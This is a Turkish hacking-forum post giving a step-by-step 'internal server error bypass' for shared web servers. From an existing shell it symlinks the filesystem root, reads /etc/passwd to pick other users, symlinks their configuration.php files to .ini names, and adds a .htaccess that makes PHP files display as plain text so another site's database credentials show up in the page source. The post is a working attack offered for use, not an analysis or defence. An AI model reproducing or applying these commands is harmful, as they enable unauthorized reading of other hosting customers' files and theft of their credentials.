Hoşgeldin Misafir

İnternal server error bypass

By_AgeNT

27 Kas 2018
94 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Bazen config çekince bazı sunucularda internal server error adlı bir hata alıyorum.

İlk önce komut satırına ln -s / x yazalım. Ve daha sonra tarayıcı üzerinden x klasörüne girelim, karşımıza root dizini gelecektir x/etc/passwd olarak tarayıcıdan girelim ve passwd'den bir user seçelim. Seçtiğimiz user adı : ag3nt

Seçtiğimiz usere x/home/ag3nt olarak tarayıcıdan girelim. Herkesin yanıldığı üzere böyle yazınca 403 forbidden hatası geliyor. Fakat sonuna public_html yazınca htaccess varsa klasörde %99 dizini gösteriyor, şu şekilde x/home/ag3nt/public_html.

Public_html girdik örneğin configuration.php dosyasına gireceğiz tıkladık x/home/ag3nt/public_html/configuration.php girdik ve karşımıza İnternal Server Error adlı bir hata çıktı... 

Hemen shellimizin komut satırına geçip bu dosyayı root dizini açarmış gibi ln -s x/home/ag3nt/public_html/configuration.php ag3nt.ini olarak komut satırına giricez. Daha sonrasında tarayıcıdan ag3nt.ini adlı dosyaya giricez root klasöründen değil tabi bulunduğumuz klasörden klasor/ag3nt.ini şeklinde.

Config bilgileri karşımıza çıkacaktır genellikle apache sunucularında yiyor litespeed'dede birkaç kere işe yaradığı olmuştu litespeed için ise şöyle bir htaccess vereyim.

Kod:
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php 
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All
ReadmeName ag3nt.ini

Htaccess'i böyle yaparsak klasör'e giriş yaptığımızda klasörün sayfa kaynağı kodu yani view-source:site.com/klasoradi şeklinde config bilgileri footer bölümünde yani aşşağı kısımda gözükecektir.

-

//by_agent